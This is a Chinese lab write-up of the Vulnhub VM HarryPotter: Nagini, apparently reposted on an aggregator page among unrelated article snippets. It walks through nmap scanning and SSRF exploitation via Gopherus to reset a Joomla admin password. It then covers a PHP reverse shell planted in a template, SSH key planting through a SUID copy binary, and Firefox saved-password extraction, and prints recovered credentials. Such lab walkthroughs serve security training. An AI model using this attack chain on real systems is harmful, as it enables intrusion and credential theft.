当前位置：首页 > news >正文

看完这篇教你玩转渗透测试靶机Vulnhub——HarryPotter:Nagini

news 2026/4/1 17:30:01

Vulnhub靶机HarryPotter:Nagini渗透测试详解

- Vulnhub靶机介绍：
- Vulnhub靶机下载：
- Vulnhub靶机安装：
- Vulnhub靶机漏洞详解：
- - - ①：信息收集：
    - ②：漏洞发现：
    - ③：SSRF漏洞利用：
    - ④：网站后台GetShell：
    - ⑤：SSH公钥登入：
    - ⑥：root提权：
    - ⑦：获取魂器（FLAG）：
- Vulnhub靶机渗透总结：

Vulnhub靶机介绍：

vulnhub是个提供各种漏洞平台的综合靶场，可供下载多种虚拟机进行下载，本地VM打开即可，像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。

PS:这个是HarryPotter(哈利波特)系列一共有三个靶机，这是第二个Nagini老样子需要获得root权限找到flag（这里是魂器）即可。

在这里插入图片描述

Vulnhub靶机下载：

官网下载：https://download.vulnhub.com/harrypotter/Nagini.ova

Vulnhub靶机安装：

下载好了把安装包解压然后使用Oracle VM打开即可。

在这里插入图片描述

Vulnhub靶机漏洞详解：

①：信息收集：

kali里使用arp-scan -l或者netdiscover发现主机

在这里插入图片描述
渗透机：kali IP ：192.168.0.105 靶机IP ：192.168.0.100

使用命令：nmap -sS -sV -A -n -p- 192.168.0.100

在这里插入图片描述

发现开启了22和80端口，先访问一下哈利波特（经典再现）🆗还是老样子dirb、dirsearch、whatweb、gobuster、nikto、gobuster等

在这里插入图片描述
这里发现了/note.txt 和 /joomla两个目录依次进行访问发现是Joomla的CMS框架，这里可以使用joomscan探测（DC3讲过）

DC3链接：https://blog.csdn.net/Aluxian_/article/details/123676768?spm=1001.2014.3001.5502

apt-get install joomscan  #安装一下

在这里插入图片描述

在这里插入图片描述

这里发现后台不知道账号密码先放着然后下载bak文件进行查看得到了一个账号：goblin 但是没密码

在这里插入图片描述

②：漏洞发现：

上面note.txt 有提HTTP3 就是这个域名需要用这个来进行访问所以需要我们来搭建一下（我看网上有些教程没成功）

GitHub项目：https://github.com/cloudflare/quiche

apt-get  install cargo  #安装 cargo  Cargo 是 Rust 的构建系统和包管理器。
cargo  bulid --examples  #命令使用前先装上 cmakevim /etc/apt/sources.list   #换个yuan
deb http://http.kali.org/kali kali-rolling main non-free contrib
deb-src http://http.kali.org/kali kali-rolling main non-free contrib  #重庆大学yuanBlocking waiting for file lock on package cache  #报错信息
rm -rf ~/.cargo/.package-cache  #这里是装错了报错的解决方法cd  quiche/target/debug/examples  #安装好了运行
./http3-client https://192.168.0.100 #运行一下 正常来说可以探测到漏洞了

在这里插入图片描述

可恶啊我以为成功了结果这里又报了个错说版本太低搞了半天没搞好先跳过吧到时候在研究（会的小伙伴私信一下我也行！）

看了别人的wp 扫出来有个 /internalResourceFeTcher.php 随便测试一下输入京东：https://www.jd.com/ 发现会跳转存在SSRF漏洞

在这里插入图片描述

③：SSRF漏洞利用：

这里要学个新工具：Gopherus 运行后输入数据库类型在输入数据库名称，以及执行的语句然后把生成的payload 放入网页即可执行。

git clone https://github.com/tarunkant/Gopherus.git  #使用python2运行
python2 gopherus.py --exploit mysql # mysql数据库 
goblin  #输入数据库名
show databases;  #查询数据库  发现 joomla 数据库接着查表
use joomla;show tables;  #使用库查询表
use joomla; select * from joomla_users;site_admin #账号
<$2y$10$cmQ.akn2au104AhR4.YJBOC5W13gyV21D/bkoTmbWWqFWjzEW7vay #密文解不出来echo -n "password" |md5sum #md5 加密
5f4dcc3b5aa765d61d8327deb882cf99 #生成的md5值
use joomla;update joomla_users set password="5f4dcc3b5aa765d61d8327deb882cf99" where username="site_admin";

在这里插入图片描述

在这里插入图片描述

使用账号和密码：site_admin/password 登入成功！！！

在这里插入图片描述

④：网站后台GetShell：

在这里插入图片描述
在beez3编辑修改index.php使用kali自带的php-reverse-shell.php

cp   /usr/share/webshells/php/php-reverse-shell.php  /root/桌面
nc -lvvp 1234
http://192.168.0.100/joomla/templates/beez3/index.php  #访问index.php 让其连接回弹
/bin/bash -i
whoami  #查看权限 www-data 低权限 需要提权

在这里插入图片描述

⑤：SSH公钥登入：

进入家目录发现两个用户其中一个存在隐藏文件查看base64解码得到密码：Love@lilly

cd /home #发现两个用户hermoine 和snape
cd snape
ls -al #查看隐藏文件
cat .creds.txt #查看文件内容 base64解码
ssh snape@192.168.0.100 #ssh登入snape用户 
ssh-keygen -f "/root/.ssh/known_hosts" -R "192.168.0.100"find / -perm -u=s 2>/dev/null #查询具有suid权限的ssh-keygen  #生成SSH私钥 路径在/root/下面
scp id_rsa.pub snape@192.168.15.134:~/  #将私钥文件复制到 snape用户下面
chmod 777 authorized_keys #给权限这里一定要给640  我给的777权限访问拒绝ssh连不进去
cd /home/hermoine/bin/
./su_cp -p /home/snape/authorized_keys /home/hermoine/.ssh/ #远程复制到hermoine的ssh目录下

在这里插入图片描述

这里没权限，我们先找一下第一个魂器吧在/var/www/html/下面

在这里插入图片描述

这里就是复制的作用既然可以复制那么是不是可以生成公钥传到靶机然后就不要密码登入了！

在这里插入图片描述

PS: 权限要给640 不然登不进去我开始给的777 改一下就可以了，这里得到了第二个魂器

在这里插入图片描述

⑥：root提权：

在~下面发现了.mozilla目录里面有个firefox 感觉这里面有隐藏的信息比如账号密码什么的使用一个工具：firefox_decrypt

在这里插入图片描述

git  clone https://github.com/unode/firefox_decrypt.git #如果访问不到就 直接下好了 拖进去cd ~
cp -r .mozilla/ /tmp/.mozilla #复制目录
cd /tmp #进入目录
ls -al  #查看隐藏文件
chmod 777 .mozilla/  #赋予权限
python3 -m http.server #开启临时网页wget http://192.168.0.100:8000/.mozilla  ##下载到本机
cd  firefox_decrypt-mainpython3 firefox_decrypt.py /root/.mozilla/firefox   #使用脚本提取（正常来说 肯定ok 我这里不太行 嗨嗨嗨~）

firefox_decrypt 下载：https://github.com/unode/firefox_decrypt

在这里插入图片描述

在这里插入图片描述
这里发现有个问题他传出来的html文件就导致里面的firefox访问不了报错（因为他不是文件）

所以这里我们在使用scp再传一下按理来说应该有的呀但是我这里没在firefox中读出来很奇怪！

最后又试了把文件传入靶机然后在执行然后python3报错算了已经尽力了大家会方法就好了问题不大！

在这里插入图片描述

最终得到账号密码：root/@Alohomora

⑦：获取魂器（FLAG）：

在这里插入图片描述

🆗到这里五个魂器已经都找到了还差两个最后一个靶机是二进制的我不太会所以就先不跟新了！

至此至此获取到了flag，本篇文章渗透结束感谢大家的观看！！

Vulnhub靶机渗透总结：

这个靶机难度高，就是有点费时间麻烦其他都还好

1.信息收集arp-scan -l 获取ip地址和端口信息 web扫描工具：nikto，dirb，dirbuster，whatweb，ffuf等
2.SSRF漏洞的利用 Gopherus工具的使用 MD5sum 生成md5加密值
3.joomscan工具的使用以及http3的搭建（新知识点）
4.网站后台GetShell 以及ssh私钥登入 scp的简单使用
5.firefox_decrypt脚本的使用提取有用信息

HarryPotter系列第二个靶机，学习到了很多知识点又是收获满满的一天（耶耶耶！）
最后创作不易，希望对大家有所帮助喜欢的话麻烦大家给个一键三连你的开心就是我最大的快乐！！

看完这篇教你玩转渗透测试靶机Vulnhub——HarryPotter:Nagini

Vulnhub靶机HarryPotter:Nagini渗透测试详解 Vulnhub靶机介绍：Vulnhub靶机下载：Vulnhub靶机安装：Vulnhub靶机漏洞详解：①：信息收集：②：漏洞发现：③：SSRF漏洞利用&#xf…...

编程日记 2023/8/1 11:24:06

IPO要收紧？业内人士未予以完全确认

“IPO全面收紧、吃穿住等行业标的基本劝退（除非行业龙头）、科创板第五套标准暂停受理……”在上周末，一篇关于IPO收紧的“小作文”在投行圈内疯狂转发。距离全面注册制正式实施已过去了5个半月，IPO节奏是否在发生较大变化&#…...

编程日记 2023/8/1 11:23:05

stable difussion Pytorch实现与测试

引言： Stable Diffusion是目前最火的AI绘画工具之一，它是一个免费开源的项目，可以被任何人免费部署和使用。通过Stable Diffusion，可以很轻松的通过文字描述，生成对应的图片。由于它是一个开源项目，开源社区（如：GitHub）中有很多插件和训练好的模型，我们可以直接使用。…...

编程日记 2023/8/1 11:22:04

Redis简述

Redis是什么Redis数据类型Redis应用场景缓存计数器分布式会话排行榜最新列表分布式锁消息队列 Redis出现的问题穿透击穿雪崩 Redis为什么速度快 Redis是什么 redis是一种高速缓存数据库 Redis数据类型 string hash list set zset Redis应用场景缓存 Redis作为缓存层&…...

编程日记 2023/8/1 11:21:03

Redis 操作List

【分布式】Redis 分布式之List_redissonclient.getlist_比嗨皮兔的博客-CSDN博客说明配置文件参考：https://blog.csdn.net/qq_38428623/article/details/123217001?utm_sourceapp&app_version5.1.1&codeapp_1562916241&uLinkIdusr1mkqgl919blen ——…...

编程日记 2023/8/1 11:20:02

多个List 合并变成一个List+一个List 根据某个字段相等的另一个字段相加，并排序变成新的List

List<CurveTimeAndValueDomain> curves new ArrayList<>();for (int i 0; i < columnNames.size(); i){if (columnNames.get(i).equals(PlantConstant.TENDOWNFX) || columnNames.get(i).equals(PlantConstant.TENDOWNQP)) {//10千伏以下数据进行缓慢处理cu…...

编程日记 2023/8/1 11:19:01

华为流程体系：流程架构「OES方法」

目录内容简介 OES方法端到端的流程专栏列表 CSDN学院作者简介内容简介今天继续来谈谈华为流程体系中的流程架构。在前期的内容已经介绍过 POS 流程架构的方法。这里就先回顾一下 POS 方法的相关内容： 关于 POS，大家可以参看上面的这张图…...

编程日记 2023/8/1 11:18:00

c# 创建一个未定义类的临时对象列表

使用场景：要使用的数据太多，列表/字典无法满足需求，需要传入对象，但是又不想创建模型 new[] 是一种用于创建匿名类型数组的写法。它是 C# 中的一种语法糖，用于简化数组的初始化过程。在下面代码示例中，ne…...

编程日记 2023/8/1 11:16:58

el-button增加下载功能

vue3和element-plus <el-uploadv-model:file-list"fileList"action"/api/upload"multiple:limit"1":headers"headers" ><el-button type"primary">选择文件</el-button><template #file"{ file …...

编程日记 2023/8/1 11:15:57

prometheus和cAdvisor组合

文章目录 docker内部署PromethuesPrometheuscAdvisorPrometheus和cAdvisor关系配置 docker内部署Promethues Prometheus Prometheus是一个开源的系统监控和报警工具，由SoundCloud开发并在2012年捐赠给了Cloud Native Computing Foundation (CNCF)。它被广泛用于监…...

编程日记 2023/8/1 11:14:53

计算机网络（2） --- 网络套接字UDP

计算机网络（1） --- 网络介绍_哈里沃克的博客-CSDN博客https://blog.csdn.net/m0_63488627/article/details/131967378?spm1001.2014.3001.5501 目录 1.端口号 2.TCP与UDP协议 1.TCP协议介绍 1.TCP协议 2.UDP协议 3.理解 2.网络字节序发送逻辑…...

编程日记 2023/8/1 11:13:52

Idea 结合docker-compose 发布项目

Idea 结合docker-compose 发布项目这里写目录标题 Idea 结合docker-compose 发布项目Docker 开启远程访问功能添加相应端口配置IDEA 链接Docker配置项目 docker-compose.yml本地还需要安装 dockerwin11 安装本地Docker 可能存在问题 Linux内核不是最新 Docker 开启远程访问功…...

编程日记 2023/8/1 11:12:50

django

django学习初识Django1.安装django2.创建项目2.1 在终端2.2 Pycharm 3. 创建app4.快速上手4.1 再写一个页面4.2 templates模板4.3 静态文件4.3.1 static目录4.3.2 引用静态文件 5.模板语法案例：伪联通新闻中心6.请求和响应案例：用户登录7.数据库操作7.1…...

编程日记 2023/8/1 11:11:48

c++游戏框架

游戏类 class Sprite { public:Sprite(int x, int y, int w, int h, const char* imagePath);~Sprite();void render(SDL_Renderer* renderer);void move(int x, int y); private:SDL_Texture* texture_;SDL_Rect rect_; }; 物理引擎类 class PhysicsEngine { public:Physi…...

编程日记 2023/8/1 11:10:47

v-model绑定checkbox无法动态更新视图

在vue2中使用v-model绑定checkbox <input type"checkbox" v-model"isChecked" :valueisChecked change"handleCheckboxChange" />监听change事件，并在change事件中做一些特殊处理，比如用户在登录时有没有阅读过隐私…...

编程日记 2023/8/1 11:09:44

原生html—摆脱ps、excel 在线绘制财务表格加水印（html绘制表格js加水印）

文章目录 ⭐前言⭐html标签💖table表格的属性💖实现财务报表 ⭐结束 ⭐前言大家好，我是yma16，本文分享原生html——绘制表格报表加水印。背景：解决没有ps的情况下使用前端html制作表格报表。 html介绍 HTML&#xf…...

编程日记 2023/8/1 11:08:43

微信小程序配置上传多个u-upload上传

微信小程序配置上传多个u-upload上传使用的是uView框架微信小程序配置上传多个u-upload上传图片场景需求：根据PC端配置项追加图片配置小程序根据配置的图片数量，图片名称，进行上传图片难度在于我们不知道用户会追加多少个图片配置字段 …...

编程日记 2023/8/1 11:07:42

python使用win32com库实现对Excel的操作

使用win32com库实现对Excel的操作 1. 引言在日常工作中，我们经常需要对Excel文件进行操作，例如读取和写入数据、格式化和样式、插入和删除等。而使用Python的win32com库，我们可以通过代码来实现对Excel的自动化操作，提高工作效…...

编程日记 2023/8/1 11:06:41

＜Maven＞项目依赖导入Maven本地仓库命令

项目工程pom.xml文件打开：查看报错的依赖, 将jar包放在D盘(或者其它路径都可)根目录下,在windows黑窗口执行以下命令; 举例：jar包名称： 1.api-1.0-SNAPSHOT102.jar 2.coms-cache-1.0-SNAPSHOT.jar 命令： mvn install:install-fi…...

编程日记 2023/8/1 11:05:40

爬虫006_python中的运算符_算术运算符_赋值运算符_复合赋值运算符_比较运算符_逻辑运算符_逻辑运算符性能提升---python工作笔记024

首先看加减乘除然后看这里的 // 是取整数部分,不是四舍五入然后%这个是取余数然后**是,几次方那种指数...

编程日记 2023/8/1 11:04:39

deepseek硬件电路实战：构建pA级电流测量系统的核心技术与工程实践

1. 从理论到实践：pA级电流测量的核心挑战测量皮安级电流就像在暴风雨中听清一根针落地的声音。我十年前第一次尝试做这种高精度测量时，连示波器上全是噪声信号，根本分不清哪些是真实信号。pA级测量最核心的挑战在于，我们要测量的…...

编程新知 2026/4/1 17:09:49

大模型风口已至！普通人如何逆袭拿高薪？学员真实案例告诉你答案！

在人工智能飞速发展的今天，大模型已成为科技行业的核心赛道，无数人渴望抓住这波风口实现职业跃迁。而我们的大模型学员，用一份份亮眼的 offer，交出了完美答卷！ 🌟 平凡起点，非凡逆袭他们中有**…...

编程新知 2026/4/1 17:05:43

实战指南 — 基于TCGA数据的差异表达分析全流程与可视化呈现

1. TCGA数据获取与准备第一次接触TCGA数据库时，我被它庞大的数据量震撼到了。作为癌症基因组图谱计划，TCGA收录了33种癌症类型、超过2万例患者的基因组数据。对于肝癌(LIHC)研究来说，这里简直就是一座金矿。进入TCGA官网后，你会…...

编程新知 2026/4/1 16:36:56

手把手教你用UML用例图梳理业务流程（附真实项目案例）

实战指南：用UML用例图重构电商订单系统业务流程 1. 为什么用例图是需求分析的基石在软件开发的混沌初期，当产品经理、开发者和业务方还在用各自的语言描述需求时，UML用例图就像一盏明灯，它能跨越专业术语的鸿沟，用可视…...

编程新知 2026/4/1 16:02:33

农业遥感避坑指南：用大疆P4M多光谱数据生成NDVI，选智图还是Metashape？

农业遥感实战：大疆P4M多光谱数据NDVI生成工具选型指南站在农田边缘，手持大疆精灵4多光谱版（P4M）遥控器的你，刚刚完成了一次作物长势监测飞行。无人机带回的宝贵数据，正等待转化为直观的NDVI图——这张&quo…...

编程新知 2026/4/1 14:24:16

电商客服外包怎么选｜避坑指南[特殊字符]2026 商家必看

做电商绕不开客服外包，但低价陷阱、转包兼职、大促掉链、响应超时、售后甩锅真的太坑了！今天整理一套不踩雷选型攻略，全是行业干货，新手也能直接抄作业👇 🚫先避坑：这些雷区千万别碰超低价诱惑…...

编程新知 2026/4/1 14:22:08

SPI Flash性能翻倍秘籍：RT-Thread下W25Q的QSPI模式实战

SPI Flash性能翻倍秘籍：RT-Thread下W25Q的QSPI模式实战在IoT设备开发中，存储性能往往是系统瓶颈之一。传统SPI接口的Flash存储器虽然成本低廉，但在高速数据读写场景下显得力不从心。本文将深入探讨如何通过QSPI模式充分释放W25Q系列Flash的潜…...

编程新知 2026/4/1 13:41:12

肿瘤免疫微环境解析：8大免疫浸润工具实战指南

1. 肿瘤免疫微环境分析的核心价值当你拿到一份肿瘤样本的转录组数据时，最令人兴奋的莫过于揭开它的免疫面纱——那些隐藏在肿瘤组织中的免疫细胞究竟在做什么？这就是免疫浸润分析的价值所在。想象一下，肿瘤组织就像一座复杂的城市&#xff0…...

编程新知 2026/4/1 13:16:50

华为OD生存指南：转正挑战、身份认知与职业适配

1. 华为OD转正挑战的真相刚入职华为OD时，很多人都会被HR描述的转正路径所吸引。四步转正流程听起来清晰明了：有HC、拿绩效A、通过可信认证、工作满一年。但真正进入这个体系后，你会发现每个环节都暗藏玄机。关于HC（Head Count…...

编程新知 2026/4/1 12:30:18

电容耦合等离子刻蚀（CCP）在先进芯片制造中的关键作用与工艺优化

1. 电容耦合等离子刻蚀（CCP）技术解析第一次接触CCP刻蚀设备时，我被它那看似简单却暗藏玄机的结构震撼到了——两块金属电极板，加上射频电源，就能实现纳米级的精密加工。这种利用电容耦合原理产生等离子体的技术&#…...

编程新知 2026/4/1 11:07:28

Vulnhub靶机HarryPotter:Nagini渗透测试详解

Vulnhub靶机介绍：

Vulnhub靶机下载：

Vulnhub靶机安装：

Vulnhub靶机漏洞详解：

①：信息收集：

②：漏洞发现：

③：SSRF漏洞利用：

④：网站后台GetShell：

⑤：SSH公钥登入：

⑥：root提权：

⑦：获取魂器（FLAG）：

Vulnhub靶机渗透总结：

相关文章：